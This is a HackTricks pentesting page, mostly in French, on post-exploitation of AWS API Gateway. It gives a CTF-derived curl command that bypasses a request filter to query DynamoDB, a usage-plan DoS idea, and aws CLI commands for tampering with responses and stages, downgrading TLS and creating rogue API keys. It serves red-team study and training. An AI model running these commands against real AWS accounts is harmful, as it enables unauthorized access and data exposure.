AWS - API Gateway Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

API Gateway

Pour plus d’informations, consultez :

AWS - API Gateway Enum

Accéder aux APIs non exposées

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the API Gateway that wasn’t exposed before.

Bypass Request body passthrough

Cette technique a été trouvée dans this CTF writeup.

Comme indiqué dans la AWS documentation dans la section PassthroughBehavior, par défaut, la valeur WHEN_NO_MATCH, lors de la vérification de l’en-tête Content-Type de la requête, transmettra la requête au back end sans transformation.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Cependant, l’envoi d’une requête avec Content-type: text/json contournerait ce filtre.

Enfin, comme l’API Gateway n’autorisait que Get et Options, il était possible d’envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l’en-tête X-HTTP-Method-Override: GET :

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Dans la section Énumération vous pouvez voir comment obtenir le plan d’utilisation des clés. Si vous avez la clé et qu’elle est limitée à X utilisations par mois, vous pouvez simplement l’utiliser et provoquer un DoS.

L’API Key doit simplement être inclue dans un HTTP header appelé x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une Gateway Response existante pour inclure des en-têtes personnalisés ou des templates de réponse qui leak des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Divulgation d’informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.

Note

Nécessite des tests

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:UpdateStage et apigateway:CreateDeployment peut modifier un stage existant d’API Gateway pour rediriger le trafic vers un autre stage ou modifier les paramètres de mise en cache afin d’obtenir un accès non autorisé aux données mises en cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Accès non autorisé aux données mises en cache, perturbation ou interception du trafic API.

Note

Nécessite des tests

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier le method response d’une méthode existante d’API Gateway REST API pour inclure des custom headers ou des response templates qui leak des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel: Leakage d’informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l’API.

Note

Nécessite des tests

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramètres de l’API REST d’API Gateway pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l’API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Affaiblissement de la sécurité de l’API, pouvant permettre un accès non autorisé ou exposer des informations sensibles.

Note

Nécessite des tests

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaquant disposant des permissions apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, et apigateway:CreateUsagePlanKey peut créer de nouvelles clés API, les associer à des plans d’utilisation, puis utiliser ces clés pour accéder aux API sans autorisation.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potential Impact: Accès non autorisé aux ressources API, contournement des contrôles de sécurité.

Note

Nécessite des tests

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks